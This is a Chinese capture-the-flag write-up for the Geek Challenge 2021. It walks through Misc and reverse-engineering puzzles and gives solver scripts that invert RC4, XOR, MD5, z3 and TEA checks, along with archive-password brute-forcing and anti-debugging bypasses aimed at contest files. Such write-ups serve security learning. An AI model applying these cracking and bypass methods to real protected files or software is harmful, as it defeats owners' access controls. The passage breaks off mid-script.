极客大挑战 2021

By Harry0709 Equinox

Matrix - 01 战队

Misc

In the Air

在会场打开手机WiFi就可以得到flag 【 救 命 我 手 机 要 没 电 了 】

easysend

按照对应操作完成即可得到 flag

今天有被破防吗?

经过对 txt 里的数据分析可以得到一张图片 :

经过非常非常仔细的观察后,可以发现上面有部分字母,我们通过 QQ 的截图进行拼凑。 ( QQ 打 钱 )

就可以得到 flag

注:

可以通过 Kali 带的拼图功能完成,需要安装相应的库,相关链接 CTF~ImageMagick+gaps=自动拼图-CSDN博客

【 要 不 是 我 的 Kali 装 不 上 库 ,而 且 我 忘 记 带 鼠 标 了 ,谁 会 用 QQ 啊 ( b u s h i )】

easycreat

我们根据hint要求部署一个合约,到网上找相应教程进行对应操作就可以了,学习链接:

https://blog.csdn.net/chyabc123456hh/article/details/106950687?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-5.no_search_link&spm=1001.2101.3001.4242.4

这是什么命令

我们打开题目发现下面有一行 Linux 下的指令我们来简单分析一下:

首先题目中显示 cat flag.png 这个的意思是打开flag.png,接下来的连续两个Base64应该是对这个图片进行两次的Base 64加密,以|进行分割,之后以一个tac对字符进行编号,sort -k 2则是对第二列的值进行排序,之后得到了一个flag.txt。
之后以一个rm -f删除了flag.png,并用一个nohub php -S 开启一个本地的2333端口,将这个txt挂载在 /dev/null 这个端口上。

说实话挺好玩的,不是吗?

这个题目拿到手后是一个加密word文档,根据压缩包的注释我们知道有一个8位长度的密码,但是我们不管他,直接爆破(网站:https://rixler.password-find.com/?utm_source=WPRM&utm_medium=IDS_TEXT_STRONG&utm_campaign=rixler)冲它就完事了。之后拿到手的是一个有大片空白的文档 :

看到一大片空白,我们不难想到SNOW隐写,那么我们可以通过SNOW.EXE直接对其进行解密。

PANDORA PARADOXXX

有一说一这个题目挺烦人的,一共对压缩包进行了 4 层加密,第一层是一个伪加密,第二层是一个 6 位字母密码,利用字典可以跑出来,第三层是一个 6 位的数字密码,同样利用字典可以跑出来,最后一层是一个字母密码再次爆破就可以得到Flag

SAG Character

又是一个费眼睛的题目~~( 快 暴 打 S R )~~,最开始得到这张图,与MC有关,于是我首先想到的是导入自定义皮肤的功能,将图片导入发现不行,于是开始转向内部方块带有这个符号的,在附魔台我们可以发现相同的符号,于是到百度去找对应翻译语言。

img

在经过翻译之后就可以得到下面的句子 :

1
2
3
4
5
6
7
congratulations you have mastered the essence of this symbol.
恭喜你,你已经掌握了这个符号的本质。
the standard galactic alphabetis a writing system used throughout the commander keen series.
标准银河系字母表是整个《指挥官》系列中使用的一种书写系统。
it is a simple substitution cypher where each letter in the latin alphabet has been substituted with a dierent symbol.
这是一个简单的替换式密码,拉丁字母表中的每个字母都被替换成不同的符号。
here is your flag am4z1ngsga1ng4m3

每日一溜

wireshark打开,发现有很多数据包,我们通过ctrl+f查找常用文件的后缀名,发现png格式下有一张图片,我们以原始数据保存,用010去掉数据包头尾,头删到‰之前,仅保留png的数据,打开得到一张图片,猜测又是一个图片隐写,binwalk先分析一下,没有东西,拖入010Editor中发现存在rar的标识,于是我们转换图片为rar,发现里面后两个Base64编码的数据,第一个按标准的Base 64求解发现无法得到对应的数据( 解出来乱码 ),但是在第二个Base 64上发现解出来像是一个Base 64的码表,因此我们猜测第一个是一个换表的Base 64,按照解出来的码表对第一个Base 64进行解密便可以得到对应的Flag

Re

Re0

打开ida搜索字符串就可以得到flag

调试

打开Ida,对里面程序进行分析,在start函数里我们发现 v3 赋值给 v5出现了问题,我们跳转到对应的区域,我们先分析 v4 赋值的过程,可以看到有一个跳转指令,我们尝试着改成 jz ,再运行看看。

可以看到程序已经发生了改变:

这个时候我们经过动调可以,观察发现这个程序是一个自解密程序,我们再Linux下进行调试就可以得到flag。

如下图:

刘壮桌面美化大师

直接在字符串里面查找就可以得到 flag 了

买Activity

( 又 是 一 个 安 卓 逆 向 ,我 要 学 废 了 )

我们借用 jeb 来进行安卓的逆向,打开对应 apk 文件,在茫茫包中发现 Decode 的身影,此时的心难以言表。

观察一下发现是不是少了一个最重要的 v0 ,v0 的数据是什么呢?在安卓的 so 文件里面我们可以看到有两个字符串,根据 stringfromnative我们猜测这两个字符串便是传给 v0 的值。

有了数据,也有了解码的方式,我们编写一个脚本来帮助我们解题:

1
2
3
4
5
6
7
8
9
10
str1 = ['C','S','D','!','O','s','!','y' ,'i','y','O','#','|','i','U','`','b','u','1']
#str1 = ['I','k','x','c','$','d','F','d','O','C','B','q','!','O','h',' ','d','t','m' ]
v1=19
v3=0
ans=[]
while v3<v1 :
v4=ord(str1[v3])
v3+=1
ans.append(chr(int(v4^16)))
print(ans)

分别的运行结果是 ['S', 'C', 'T', '1', '_', 'c', '1', 'i', 'y', 'i', '_', '3', 'l', 'y', 'E', 'p', 'r', 'e', '!']

['Y', '{', 'h', 's', '4', 't', 'V', 't', '_', 'S', 'R', 'a', '1', '_', 'x', '0', 't', 'd', '}']

我们通过简易的分析可以发现这个是一个栅栏加密,长度为 2,我们将这两个数据放入在线网站进行解密就可以得到我们需要的 flag 了。

注:

与某位SR的交流过程

我的方法不是很推荐,建议有兴趣的可以去了解一下 ( 其 他 方 法 我 不 会 呀 )

easypyc

拿到程序一看,图标有点像一个 Python 打包生成的一个程序 :

看了看名字有一个 pyc 那肯定就是 Python 打包的一个程序了。那么我们接下要做的便是对这个 exe 进行拆分得到 pyc 文件

拆分学习链接:Pyinstaller打包的exe之一键反编译py脚本与防反编译

在拆分后我们可以得到一个不带后缀的一个 easypyc 文件,我们补上后缀,到对应网站在线反编译 pyc 成 py 可以得到如下的 Python 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# uncompyle6 version 3.5.0
# Python bytecode 3.8 (3413)
# Decompiled from: Python 2.7.5 (default, Nov 16 2020, 22:23:17)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: easypyc.py
# Size of source mod 2**32: 272 bytes
whatbox = [0] * 256

def aaaaaaa(a, b):
k = [0] * 256
t = 0
for m in range(256):
whatbox[m] = m
k[m] = ord(a[(m % b)])

for i in range(256):
t = (t + whatbox[i] + k[i]) % 256
temp = whatbox[i]
whatbox[i] = whatbox[t]
whatbox[t] = temp


def bbbbbbbbbb(a, b):
q = 0
w = 0
e = 0
for k in range(b):
q = (q + 1) % 256
w = (w + whatbox[q]) % 256
temp = whatbox[q]
whatbox[q] = whatbox[w]
whatbox[w] = temp
e = (whatbox[q] + whatbox[w]) % 256
a[k] = a[k] ^ whatbox[e] ^ 102


def ccccccccc(a, b):
for i in range(b):
a[i] ^= a[((i + 1) % b)]

for j in range(1, b):
a[j] ^= a[(j - 1)]


if __name__ == '__main__':
kkkkkkk = 'Geek2021'
tttttt = [117, 62, 240, 152, 195, 117, 103, 74, 240, 151, 173, 162, 17, 75, 141, 165, 136, 117, 113, 33, 98, 151, 174, 4, 48, 25, 254, 101, 185, 127, 131, 87]
ssss = input('Please input your flag:')
inp = [0] * len(ssss)
if len(ssss) != 32:
print('Length Error!!!!')
exit(0)
for i in range(len(ssss)):
inp[i] = ord(ssss[i])

aaaaaaa(kkkkkkk, len(kkkkkkk))
bbbbbbbbbb(inp, 32)
ccccccccc(inp, 32)
for m in range(32):
assert not tttttt[m] != inp[m], 'sorry your flag is wrong'

print('success!!!!!!')
print('your flag is {}'.format(ssss))

我们进行简单的修改来测试数据内容以及结构(以下是我的部分测试):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# uncompyle6 version 3.5.0
# Python bytecode 3.8 (3413)
# Decompiled from: Python 2.7.5 (default, Nov 16 2020, 22:23:17)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: easypyc.py
# Size of source mod 2**32: 272 bytes
whatbox =[41, 244, 181, 212, 184, 237, 95, 117, 193, 26, 137, 126, 65, 122, 239, 250, 214, 112, 62, 207, 240, 227, 120, 48, 36, 148, 234, 150, 228, 165, 129, 174, 56, 190, 46, 127, 49, 43, 245, 130, 114, 34, 202, 27, 131, 224, 64, 160, 50, 153, 157, 206, 52, 91, 225, 58, 176, 14, 5, 147, 103, 12, 30, 146, 77, 61, 179, 85, 101, 71, 72, 210, 47, 253, 8, 98, 45, 7, 246, 67, 135, 18, 255, 168, 90, 139, 203, 2, 242, 32, 111, 22, 220, 102, 107, 138, 37, 169, 116, 28, 35, 156, 89, 173, 235, 185, 136, 31, 252, 29, 78, 63, 170, 25, 222, 19, 99, 44, 100, 124, 229, 144, 20, 221, 177, 232, 82, 163, 3, 249, 40, 93, 83, 68, 152, 223, 60, 54, 96, 97, 166, 94, 21, 16, 230, 154, 109, 178, 254, 92, 132, 155, 142, 1, 182, 243, 215, 197, 13, 0, 79, 151, 84, 187, 216, 180, 188, 175, 59, 66, 10, 106, 121, 183, 205, 42, 105, 204, 87, 86, 134, 189, 23, 241, 248, 118, 110, 211, 57, 158, 247, 231, 24, 218, 38, 149, 33, 15, 164, 217, 128, 115, 17, 233, 53, 236, 140, 51, 11, 208, 196, 55, 39, 172, 9, 76, 80, 226, 4, 70, 195, 108, 201, 69, 238, 123, 88, 145, 162, 125, 192, 219, 74, 161, 81, 198, 209, 73, 133, 186, 119, 251, 143, 200, 194, 171, 141, 104, 213, 113, 6, 159, 199, 167, 75, 191]


def aaaaaaa(a):#Geek2021 8
k = [0] * 256
t = 0
for m in range(256):
whatbox[m] = m #创造256的序列
k[m] = ord(a[(m % 8)]) #每8个一组Geek2021 一共32组

for i in range(256):
t = (t + whatbox[i] + k[i]) % 256
temp = whatbox[i]
whatbox[i] = whatbox[t]
whatbox[t] = temp
#[41, 244, 181, 212, 184, 237, 95, 117, 193, 26, 137, 126, 65, 122, 239, 250, 214, 112, 62, 207, 240, 227, 120, 48, 36, 148, 234, 150, 228, 165, 129, 174, 56, 190, 46, 127, 49, 43, 245, 130, 114, 34, 202, 27, 131, 224, 64, 160, 50, 153, 157, 206, 52, 91, 225, 58, 176, 14, 5, 147, 103, 12, 30, 146, 77, 61, 179, 85, 101, 71, 72, 210, 47, 253, 8, 98, 45, 7, 246, 67, 135, 18, 255, 168, 90, 139, 203, 2, 242, 32, 111, 22, 220, 102, 107, 138, 37, 169, 116, 28, 35, 156, 89, 173, 235, 185, 136, 31, 252, 29, 78, 63, 170, 25, 222, 19, 99, 44, 100, 124, 229, 144, 20, 221, 177, 232, 82, 163, 3, 249, 40, 93, 83, 68, 152, 223, 60, 54, 96, 97, 166, 94, 21, 16, 230, 154, 109, 178, 254, 92, 132, 155, 142, 1, 182, 243, 215, 197, 13, 0, 79, 151, 84, 187, 216, 180, 188, 175, 59, 66, 10, 106, 121, 183, 205, 42, 105, 204, 87, 86, 134, 189, 23, 241, 248, 118, 110, 211, 57, 158, 247, 231, 24, 218, 38, 149, 33, 15, 164, 217, 128, 115, 17, 233, 53, 236, 140, 51, 11, 208, 196, 55, 39, 172, 9, 76, 80, 226, 4, 70, 195, 108, 201, 69, 238, 123, 88, 145, 162, 125, 192, 219, 74, 161, 81, 198, 209, 73, 133, 186, 119, 251, 143, 200, 194, 171, 141, 104, 213, 113, 6, 159, 199, 167, 75, 191]

def bbbbbbbbbb(a):
q = 0
w = 0
e = 0
for k in range(32) :
q = (q + 1) % 256
w = (w + whatbox[q]) % 256
temp = whatbox[q]
whatbox[q] = whatbox[w]
whatbox[w] = temp
e = (whatbox[q] + whatbox[w]) % 256
#print(whatbox[e],end=',')
a[k] = a[k] ^ whatbox[e] ^ 102
#[23,104,57,207,150,242,66,87,81,213,140,172,131,48,106,172,132,173,66,76,58,116,176,222,31,6,52,221,73,137,4,186]
def ccccccccc(a):
for i in range(32) :
a[i] ^= a[((i + 1) % 32)]

for j in range(1, 32):
a[j] ^= a[(j - 1)]


#if __name__ == '__main__':
kkkkkkk = 'Geek2021'
tttttt = [117, 62, 240, 152, 195, 117, 103, 74, 240, 151, 173, 162, 17, 75, 141, 165, 136, 117, 113, 33, 98, 151, 174, 4, 48, 25, 254, 101, 185, 127, 131, 87]
ssss = input('Please input your flag:')
inp = [0] * len(ssss)
#if len(ssss) != 32:
#print('Length Error!!!!')
#exit(0)
for i in range(len(ssss)):
inp[i] = ord(ssss[i])

#aaaaaaa(kkkkkkk)
#print(whatbox)
bbbbbbbbbb(inp)
ccccccccc(inp)
#for m in range(32):
#assert not tttttt[m] != inp[m], 'sorry your flag is wrong'

print('success!!!!!!')
print('your flag is {}'.format(ssss))

我写的有点乱,毕竟我的 VSCode 调试不起只能这个样子来伪调试一下,我们简易的分析可以知道这个程序是在 Rc4 的基础上多了一部分的数组操作。我们根据对应操作进行逆向回去( C + + 代码如下 ) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<iostream>
#include<cstring>
using namespace std;
int main(){
int t[]={23,104,57,207,150,242,66,87,81,213,140,172,131,48,106,172,132,173,66,76,58,116,176,222,31,6,52,221,73,137,4,186};
int ans[]={117, 62, 240, 152, 195, 117, 103, 74, 240, 151, 173, 162, 17, 75, 141, 165, 136, 117, 113, 33, 98, 151, 174, 4, 48, 25, 254, 101, 185, 127, 131, 87};
for(int i =31;i>=1;i--){
ans[i]^=ans[i-1];
}
for(int j =31;j>=0;j--){
ans[j]^=ans[(j+1)%32];
}
for(int n=0;n<32;n++){
ans[n]=ans[n]^t[n]^102;
}
for(int m=0;m<32;m++){
cout<<(char)ans[m];
}
return 0;
}

运行代码之后我们便可以得到对应的 flag。

new_language

我们根据提示拿到对应题目的信息可以知道这个是一个 C# 的反编译,我们安装对应程序 dnSpy 将程序拖入便可以得到对应的反编译代码,我们找到对应的主函数进行分析 :

通过简单的分析,我们可以看到程序对输入的字符转换成 int 类型,并通过异或和与运算进行了乱序的排列并与 arry2 里面的数据进行比较,我们逆向回去的的话需要将原来的数据所在的位置找到,再对其进行分析代码如下 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289

#include <iostream>
#include<cstring>
using namespace std;
int main()
{
int num1[] = { 64,249,133,69,146,253,253,207,182,4,157,207,251,4,60,81,59,77,146,77,207,26,38,207,64,77,177,77,64,195,77,253,253 };
int dir[]={
99,
124,
119,
123,
242,
107,
111,
197,
48,
1,
103,
43,
254,
215,
171,
118,
202,
130,
201,
125,
250,
89,
71,
240,
173,
212,
162,
175,
156,
164,
114,
192,
183,
253,
147,
38,
54,
63,
247,
204,
52,
165,
229,
241,
113,
216,
49,
21,
4,
199,
35,
195,
24,
150,
5,
154,
7,
18,
128,
226,
235,
39,
178,
117,
9,
131,
44,
26,
27,
110,
90,
160,
82,
59,
214,
179,
41,
227,
47,
132,
83,
209,
0,
237,
32,
252,
177,
91,
106,
203,
190,
57,
74,
76,
88,
207,
208,
239,
170,
251,
67,
77,
51,
133,
69,
249,
2,
127,
80,
60,
159,
168,
81,
163,
64,
143,
146,
157,
56,
245,
188,
182,
218,
33,
16,
255,
243,
210,
205,
12,
19,
236,
95,
151,
68,
23,
196,
167,
126,
61,
100,
93,
25,
115,
96,
129,
79,
220,
34,
42,
144,
136,
70,
238,
184,
20,
222,
94,
11,
219,
224,
50,
58,
10,
73,
6,
36,
92,
194,
211,
172,
98,
145,
149,
228,
121,
231,
200,
55,
109,
141,
213,
78,
169,
108,
86,
244,
234,
101,
122,
174,
8,
186,
120,
37,
46,
28,
166,
180,
198,
232,
221,
116,
31,
75,
189,
139,
138,
112,
62,
181,
102,
72,
3,
246,
14,
97,
53,
87,
185,
134,
193,
29,
158,
225,
248,
152,
17,
105,
217,
142,
148,
155,
30,
135,
233,
206,
85,
40,
223,
140,
161,
137,
13,
191,
230,
66,
104,
65,
153,
45,
15,
176,
84,
187,
22
}; //太长了不想去删空格
int des[33];



for (int i = 0; i < 33; i++) {
for (int j = 0; j < 256; j++) {
if (dir[j] == num1[i]) {
des[i] = j; //记录对应数据的位置
break;
}
}
}
for (int i = 0; i < 33; i++) {
for (int j = 0; j < 127; j++) { //爆破范围一般在 0-127 就可以了,对应的ASCii都是可以显示出来的
if (((j >> 4) * 16 + (j & '\u000f')) == des[i]) {
cout << (char)j; //对数据进行爆破
break;
}
}
}
return 0;
}


运行程序便可以得到对应的 flag 。

珍惜生命

我们拿到手的是一份 pyc 我们对其进行反编译成 py :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# uncompyle6 version 3.5.0
# Python bytecode 3.7 (3394)
# Decompiled from: Python 2.7.5 (default, Nov 16 2020, 22:23:17)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: easypy.py
# Size of source mod 2**32: 1805 bytes


def Challenge():
import sys
print("Welcome to py's world")
S = input('plz give me your flag:')
Key = input('plz give me your key(string):')
if len(S) != 51 or len(Key) != 8:
print("the flag's or key's strlen...")
sys.exit()
else:
tmp = S[4:50]
KEY_cmp = 'Syclover'
key = []
key_cmp = ''
for i in Key:
key.append(ord(i))

try:
key_cmp += chr((key[1] * key[2] - key[5] * 72 - key[4] * 3 - key[3] ^ key[1] + (key[3] << 2) + key[2] * 6 - key[7] & key[6] - 1000) - 14)
key_cmp += chr((key[5] * 7 + key[3] * 3 + key[2] + key[6] - (key[2] >> 2) - key[1] ^ key[0] + key[7] + (key[4] ^ key[1]) + (key[4] | key[7])) - 801)
key_cmp += chr((key[6] * 5 + key[2] * 6 - key[3] * 7 + key[4] | key[5] + key[4] * 10 + key[0] ^ key[1] * 3 - key[7] + key[0] + key[1]) - 924)
key_cmp += chr(key[1] * 3 + key[5] * 9 + key[0] + key[2] * 2 + key[3] * 5 - key[4] * (key[6] ^ key[7]) + 321 - 16)
key_cmp += chr((key[5] * 12 - key[0] ^ key[6] - key[3] * 23 + key[4] * 3 + key[2] * 8 + key[1] - key[7] * 2 + key[6] * 4 + 1324) + 1)
key_cmp += chr(key[3] * 54 - key[1] * 3 + key[2] * 3 + key[4] * 11 - key[5] * 2 + key[0] + key[7] * 3 - key[6] - 6298 + 40)
key_cmp += chr(key[7] - key[6] * key[3] + key[2] * key[2] - key[4] * 32 + key[5] * (key[0] >> 2) - key[1] * key[1] - 6689 + 41)
key_cmp += chr((key[5] - key[3] * 41 + key[6] * 41 + key[5] ^ (key[4] & key[6] | key[0]) - (key[7] * 24 | key[2]) + key[1] - 589) - 36)
except ValueError:
print("You know what I'm going to say...")
sys.exit()

if key_cmp != KEY_cmp:
print("You know what I'm going to say...")
sys.exit()
flag = [
113, 74, 71, 35, 29, 91, 29, 12, 114, 73, 60, 52, 69, 5, 113, 35, 95, 38, 20, 112, 95, 7, 74, 12, 102, 23, 7, 31, 87, 5, 113, 98, 85, 38, 16, 112, 29, 6, 30, 12, 65, 73, 83, 36, 12, 23]
for i in range(46):
if ord(tmp[i]) ^ key[((i + 1) % len(key))] != flag[i]:
print("You know what I'm going to say...")
sys.exit()

print('Yeah!Submit your flag in a hurry~')


Challenge()

经过简单的分析我们看到 key(长度为 8 )是这个题目的解题关键,我们看到 try 函数里都是对 key 的每一位进行运算后的数据进行拼接,最后的数据与 “Syclover” 进行比较,如果相同则继续执行。在最后一个的 for i in range(46):便是对输入的 S 与 key 一起异或得到的 flag 的每一位脚本如下:

解 key 我们采用 z3-solver 来进行求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

from z3 import *



key1 = BitVec('key1',32)
key2 = BitVec('key2',32)
key3 = BitVec('key3',32)
key4 = BitVec('key4',32)
key5 = BitVec('key5',32)
key6 = BitVec('key6',32)
key7 = BitVec('key7',32)
key8 = BitVec('key8',32)



key = Solver()

key.add((key2 * key3 - key6 * 72 - key5 * 3 - key4 ^ key2 + (key4 << 2) + key3 * 6 - key8 & key7 - 1000) - 14==ord('S'))


key.add(((key6 * 7 + key4 * 3 + key3 + key7 - (key3 >> 2) - key2 ^ key1 + key8 + (key5 ^ key2) + (key5 | key8)) - 801)==ord('y'))

key.add(((key7 * 5 + key3 * 6 - key4 * 7 + key5 | key6 + key5 * 10 + key1 ^ key2 * 3 - key8 + key1 + key2) - 924)==ord('c'))

key.add((key2 * 3 + key6 * 9 + key1 + key3 * 2 + key4 * 5 - key5 * (key7 ^ key8) + 321 - 16)==ord('l'))

key.add(((key6 * 12 - key1 ^ key7 - key4 * 23 + key5 * 3 + key3 * 8 + key2 - key8 * 2 + key7 * 4 + 1324) + 1)==ord('o'))

key.add((key4 * 54 - key2 * 3 + key3 * 3 + key5 * 11 - key6 * 2 + key1 + key8 * 3 - key7 - 6298 + 40)==ord('v'))

key.add((key8 - key7 * key4 + key3 * key3 - key5 * 32 + key6 * (key1 >> 2) - key2 * key2 - 6689 + 41)==ord('e'))

key.add(((key6 - key4 * 41 + key7 * 41 + key6 ^ (key5 & key7 | key1) - (key8 * 24 | key3) + key2 - 589) - 36)==ord('r'))

if key.check()==sat:
print(key.model())
else:
print("WA")


可以得到 key 的值为 :

接下来我们对 flag 进行求解 :

1
2
3
4
5
6
7
8
key = [83, 38, 121, 99, 64, 45, 54, 46]
flag = [113, 74, 71, 35, 29, 91, 29, 12, 114, 73, 60, 52, 69, 5, 113, 35, 95, 38, 20, 112, 95, 7, 74, 12, 102, 23, 7, 31, 87, 5, 113, 98, 85, 38, 16, 112, 29, 6, 30, 12, 65, 73, 83, 36, 12, 23]
for i in range(46):
for j in range(127):
if(j^key[(i+1)%8]==flag[i]):
print(chr(j),end='')
break

运行上述脚本便可以得到 flag

RE 1

这个题目感觉就十分的简单了,整体上就是一个 Base64 加上了一个异或。

我们利用Lazy IDA 提取对应data里的数据 :

然后简单的写一个脚本进行解密 :

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<iostream>
#include<cstring>
using namespace std;
int main() {
int compare[] = {0x15, 0x71, 0x2C, 0x04, 0x25, 0x71, 0x28, 0x10, 0x15, 0x2C, 0x79, 0x28, 0x22, 0x2D, 0x12, 0x26, 0x19, 0x2D,0x06, 0x3A, 0x1A, 0x14, 0x19, 0x70, 0x18, 0x72, 0x06, 0x39, 0x1A, 0x16, 0x79, 0x70, 0x21, 0x07, 0x16, 0x26,0x19, 0x2D, 0x06, 0x3A, 0x21, 0x18, 0x0E, 0x26, 0x22, 0x72, 0x1A, 0x26, 0x23, 0x2D, 0x16, 0x72, 0x1A, 0x18,0x0A, 0x3A, 0x1A, 0x18, 0x70, 0x7D
};
int num=0;
for(int i=0; i<60; i++) {
num=compare[i]^0x40;
cout<<hex<<num<<" ";
}
return 0;
}

之后我们将得到的字符串用 Python带的Base64库直接decode就可以得到 Flag 。

Win 32

和RE 1 一样直接是一个Base 64的题目,这个题目被修改过,我们可以直接在Strings里提取到Base 64加密后的数据 :

标准 Base64 加密过程 :

于是我们直接拿着那串数据进行Base 64解码就可以得到 Flag。

Brute_force

这个题目又是一个新语言( GO 语言 )的逆向题目,我们还是将程序拖入IDA中进行分析,其中有一个非常显眼的 main_main,可以看到如下界面 :

乍一看不知道程序在干些什么,但是我们细看可以发现在函数里面有着MD5的提示,与此同时在main_main上面的 if 语句里面好像有一个 24 ,此时我们猜测这个 24 便是我们输入Flag的长度。但是如果这个时候你开始动调是不是会发现有一个问题,在你启动IDA动态调试后的一瞬间,程序闪了一下就结束了,即使你打了断点也还是闪了一下就结束了,你也可以试试看拿cmd打开,你会发现有一行提示:

这个时候我们需要打开IDA里面的Debugger

在里面找到对应的 Process options,并打开下面的Use source-level debugging(点一下就可以了,点完后没有什么反应的):

我们在 Process options里对应位置填入我们的 24 位测试数据:

之后我们在函数main_encodemain_unnamed630里打上断点开始调试,观察里面的数据变化过程,你会发现在栈里多出来一个数据 :

仔细观察会发现这一串数据在某个位置可以分成两个部分,这两个部分是一样的,我们提出其中一半进行MD5解密你会发现这个加密后的数据是我们输入的ABCD我们大概就可以猜测出这个程序是将我们的输入数据进行拆分,每 4 个一组,一共 24 个数据,那么刚刚好 6 组,也验证了我们猜测 Flag的长度是 24 ,我们继续调试,之后可以发现在内存里是把我们Flag已经提前写入了 :

我们需要的就是动态调试得到对应MD5的顺序,然后再对其分别解密,脚本如下 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib

table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/_"
list1 = ['']#输入加密的MD5

for j in list1:
for a in range(30, 128):
for b in range(30, 128):
for c in range(30, 128):
for d in range(30, 128):
str = chr(a) + chr(b) + chr(c) + chr(d)
flag = hashlib.md5(str.encode('utf-8')).hexdigest()
if flag == j.casefold():
print(str, end='')

可以分别解出来对应的数据为3_sl r0g@ 7h3_ rm_1 g0_p gned

再根据动调出的MD5进行排序,可以得到输入为7h3_g0_pr0g@rm_13_slgned,但是这个就是Flag吗显然不是,我们再观察main_main,切换到汇编层的结构图 :

这个时候我们加上对应格式便是我们所要的Flag

WASM

整个题目就是找不到工具硬开生坚果~~(WABT就是下载不了)~~,在网上找了半天终于发现有一个易语言写的提取 .o 文件的工具了(太难了)。

题目整体上就是一个异或(题目提示)我们只需要找到对应位置的是数据进行异或处理就可以了。

解题脚本如下 :(爆破YYDS)

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<iostream>
#include<cstring>
using namespace std;
int main() {
int xors;
char ans[]= {0x35,0x3F,0x25,0x1D,0x11,0x07,0x15,0x0B,0x39,0x2f,0x15,0x39,0x35,0x56,0x39,0x21,0x21,0x09,0x56,0x02,0x47,0x47};

int m;
for(int i=0;i<strlen(ans);i++){
m=(int)ans[i]^0x66;
cout<<(char)m;
}
}

猜拳

这个题目又是一个Win 32 太难了,没有开发经验的菜鸡 Re 手选择再次硬着头皮去看了看,一看符号表还被去掉了,直接给搞破防了…

程序有一个防调试,需要自己set ip改流程。

这个就是反调试的一个函数,用于表示当前是否处于反调试的状态,正常运行时,该函数返回FALSE,打开调试运行时,该函数返回TRUE

eax的比较值改为 1 ,那么就可以跳过反调试了。

跳过这个反调试时你会发现,在下面的某处汇编出现了一个神奇的Congratulations,我们对其转换伪代码可以看到是一个switch()函数,通过对题目分析可以知道这个是一个自解密程序,在你按下按钮的时候经过一个switch()函数进行对输入处理,完成不同的消息处理,但是我们却永远赢不了 SR ( 可恶的 SR 竟然后出 ),这是因为程序会对我们的输入进行操作更改流程也就是这个switch()函数所完成的功能,因而我们只需要更改对应的流程,到我们的case :303就可以到达Congratulation 处,进而拿到对应Flag

have_a_tea

三点了,饮茶先啦,看到题目一猜就是一个Tea加密,反手再一猜又是一个魔改题目,同样的还是先拿去分析一下,是一个 64 位的无壳程序,直接拖入 IDA 64进行分析。我们可以直接看到有一个fork,因而怀疑子进程会有些东西 :

在动态调试时可以看到程序的入口(main)与我们的标准elf文件的格式不同,下面有许多的偏移地址,需要我们利用UC进行修复,之后我们可以看到在第三个调用函数处便是我们想要的主函数,我们进入该函数可以看到fork创建的子进程的过程,也就是题目hint中给的子进程有什么东西,因而我们进入子进程进行观察 :

可以明先看到一个去了符号表的函数和下面的比较,那么v4里的数据就是在加密后得到的,我们进入加密函数进行分析 :

进入每一个函数分析一下可以知道第一个enc1是对输入的数据进行处理,将数据进行每 4 个一组进行组合成一个 16 进制的数据,(比如 数据是 61 62 63 64,那么转换后的数据是0x64636261),之后的enc2是用于改变v17v18值的。

一定分析之后可以知道这个题是在Tea加密的基础上加了一个异或,对数据先在Tea加密前对其异或后再进行Tea加密。

之中v19恰好是长度为 4 的一串 16 进制数据,我们同时也发现在每次Tea加密时都会将v19传入,对此我们可以擦测出v19就是key,同时我们分析也可以知道异或的值并不是一成不变的,在每次加密之后的新数就会成为下一次异或的数据,也就是比较函数处的加密后的值,此时我们就可以编写脚本进行求解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include<iostream>
#include<cstring>
using namespace std;


//tea_decode
void tea(unsigned int *code , unsigned int *key) {
unsigned int delta=0x61C88647;
unsigned int v0,v1,sum=0xC6EF3720,i;// sum=0xC6EF3720

v0=code[0];
v1=code[1];
for(i=0; i<32; i++) {
v1-=( (v0<<4)+key[2] ) ^ (v0+sum) ^ ( (v0>>5)+key[3] );
